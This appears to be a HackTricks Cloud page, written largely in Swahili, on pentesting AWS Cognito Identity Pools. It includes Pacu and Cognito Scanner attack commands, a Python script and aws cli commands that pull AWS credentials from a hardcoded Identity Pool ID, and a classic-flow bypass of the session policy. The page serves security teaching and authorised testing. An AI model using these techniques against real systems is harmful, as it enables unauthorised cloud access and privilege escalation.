Cognito Identity Pools
Reading time: 8 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Identity pools hutoa jukumu muhimu kwa kuwezesha watumiaji wako kupata akreditivu za muda mfupi. Akreditivu hizi ni muhimu kwa kufikia huduma mbalimbali za AWS, ikiwa ni pamoja na lakini sio tu Amazon S3 na DynamoDB. Kipengele muhimu cha identity pools ni msaada wao kwa watumiaji wa wageni wasiojulikana na anuwai ya watoa huduma za utambulisho kwa uthibitishaji wa mtumiaji. Watoa huduma wa utambulisho wanaoungwa mkono ni pamoja na:
- Amazon Cognito user pools
- Chaguzi za kuingia za kijamii kama Facebook, Google, Login with Amazon, na Sign in with Apple
- Watoa huduma wanaofuata OpenID Connect (OIDC)
- Watoa huduma wa utambulisho wa SAML (Security Assertion Markup Language)
- Utambulisho wa watengenezaji walioidhinishwa
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3
# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')
# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'
# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)
# Print the response from AWS
print(response)
Cognito Sync
Ili kuunda vikao vya Identity Pool, kwanza unahitaji kuunda na Identity ID. Hii Identity ID ni kitambulisho cha kikao cha mtumiaji huyo. Vitambulisho hivi vinaweza kuwa na hadi seti 20 za data ambazo zinaweza kuhifadhi hadi 1MB ya jozi za funguo-thamani.
Hii ni faida kwa kuhifadhi taarifa za mtumiaji (ambaye atakuwa akitumia kila wakati Identity ID ile ile).
Zaidi ya hayo, huduma ya cognito-sync ni huduma inayoruhusu kusimamia na kusawazisha taarifa hizi (katika seti za data, kutuma taarifa katika mitiririko na ujumbe wa SNS...).
Tools for pentesting
- Pacu, mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli "cognito__enum" na "cognito__attack" ambazo zinaweza kujiendesha katika kuhesabu mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk, na pia kujiendesha katika uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za kuaminika za identity pool, majukumu yanayoweza kuchukuliwa katika token za id, nk.
Kwa maelezo ya kazi za moduli, angalia sehemu ya 2 ya blog post. Kwa maelekezo ya usakinishaji, angalia ukurasa mkuu wa Pacu.
Usage
Mfano wa matumizi ya cognito__attack kujaribu uundaji wa mtumiaji na njia zote za privesc dhidi ya identity pool na mteja wa user pool uliopewa:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Mfano wa cognito__enum matumizi ya kukusanya kila mzunguko wa mtumiaji, wateja wa mzunguko wa mtumiaji, mizunguko ya utambulisho, watumiaji, nk. wanaoonekana katika akaunti ya sasa ya AWS:
Pacu (new:test) > run cognito__enum
- Cognito Scanner ni chombo cha CLI katika python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na uundaji wa akaunti zisizohitajika na kupandisha hadhi ya mchanganyiko wa utambulisho.
Installation
$ pip install cognito-scanner
Matumizi
$ cognito-scanner --help
Kwa maelezo zaidi angalia https://github.com/padok-team/cognito-scanner
Kufikia Majukumu ya IAM
Bila Uthibitisho
Jambo pekee ambalo mshambuliaji anahitaji kujua ili kupata AWS credentials katika programu ya Cognito kama mtumiaji asiye na uthibitisho ni Identity Pool ID, na ID hii inapaswa kuwa imeandikwa kwa nguvu katika programu ya wavuti/mobail ili kuitumia. ID inaonekana kama hii: eu-west-1:098e5341-8364-038d-16de-1865e435da3b
(haiwezi kufanywa kwa nguvu).
tip
IAM Cognito unauthenticated role iliyoundwa kupitia inaitwa kwa default Cognito_<Identity Pool name>Unauth_Role
Ikiwa utapata Identity Pools ID iliyowekwa kwa nguvu na inaruhusu watumiaji wasiothibitishwa, unaweza kupata AWS credentials kwa:
import requests
region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}
r = requests.post(url, json=params, headers=headers)
json_resp = r.json()
if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit
IdentityId = r.json()["IdentityId"]
params = {'IdentityId': IdentityId}
headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)
print(r.json())
Au unaweza kutumia amri zifuatazo za aws cli:
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
warning
Kumbuka kwamba kwa kawaida mtumiaji wa cognito asiye na uthibitisho HANA haki yoyote, hata kama ilitolewa kupitia sera. Angalia sehemu ifuatayo.
Mchakato wa Uthibitishaji wa Juu vs Msingi
Sehemu ya awali ilifuata mchakato wa uthibitishaji wa juu wa kawaida. Mchakato huu unakamilisha sera ya kikao iliyopunguza kwa kikao cha jukumu la IAM kilichoundwa. Sera hii itaruhusu kikao kutumia huduma kutoka orodha hii (hata kama jukumu lilikuwa na ufikiaji wa huduma nyingine).
Hata hivyo, kuna njia ya kupita hii, ikiwa kikundi cha Utambulisho kina "Mchakato wa Msingi (Classic) ulioanzishwa", mtumiaji ataweza kupata kikao kwa kutumia mchakato huo ambao hautakuwa na sera hiyo ya kikao inayopunguza.
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign
# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
warning
Ikiwa unapokea makosa haya, ni kwa sababu mchakato wa msingi haujawezeshwa (default)
An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.
Kuwa na seti ya akreditif za IAM unapaswa kuangalia ni upatikanaji gani unao na kujaribu kuinua mamlaka.
Authenticated
note
Kumbuka kwamba watumiaji walioidhinishwa huenda wakapewa idhini tofauti, hivyo ikiwa unaweza kujiandikisha ndani ya programu, jaribu kufanya hivyo na kupata akreditif mpya.
Pia kunaweza kuwa na majukumu yanayopatikana kwa watumiaji walioidhinishwa wanaofikia Hifadhi ya Utambulisho.
Kwa hili unaweza kuhitaji kuwa na ufikiaji wa mtoa huduma wa utambulisho. Ikiwa hiyo ni Cognito User Pool, labda unaweza kutumia tabia ya default na kuunda mtumiaji mpya mwenyewe.
tip
IAM Cognito authenticated role iliyoundwa kupitia inaitwa kwa default Cognito_<Identity Pool name>Auth_Role
Hata hivyo, mfano ufuatao unatarajia kwamba tayari umeingia ndani ya Cognito User Pool inayotumika kufikia Hifadhi ya Utambulisho (usisahau kwamba aina nyingine za watoa huduma wa utambulisho zinaweza pia kuanzishwa).
aws cognito-identity get-id \
--identity-pool-id \
--logins cognito-idp..amazonaws.com/=
# Pata identity_id kutoka kwa jibu la amri ya awali
aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins cognito-idp..amazonaws.com/=
# Katika IdToken unaweza kupata majukumu ambayo mtumiaji ana ufikiaji kwa sababu ya Makundi ya User Pool
# Tumia --custom-role-arn kupata akreditif kwa jukumu maalum
aws cognito-identity get-credentials-for-identity \
--identity-id \
--custom-role-arn \
--logins cognito-idp..amazonaws.com/=
warning
Inawezekana kuunda majukumu tofauti ya IAM kulingana na mtoa huduma wa utambulisho ambaye mtumiaji anaingia au hata kulingana na mtumiaji (kwa kutumia madai). Kwa hivyo, ikiwa una ufikiaji wa watumiaji tofauti kupitia watoa huduma sawa au tofauti, inaweza kuwa na thamani kuingia na kufikia majukumu ya IAM ya wote.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.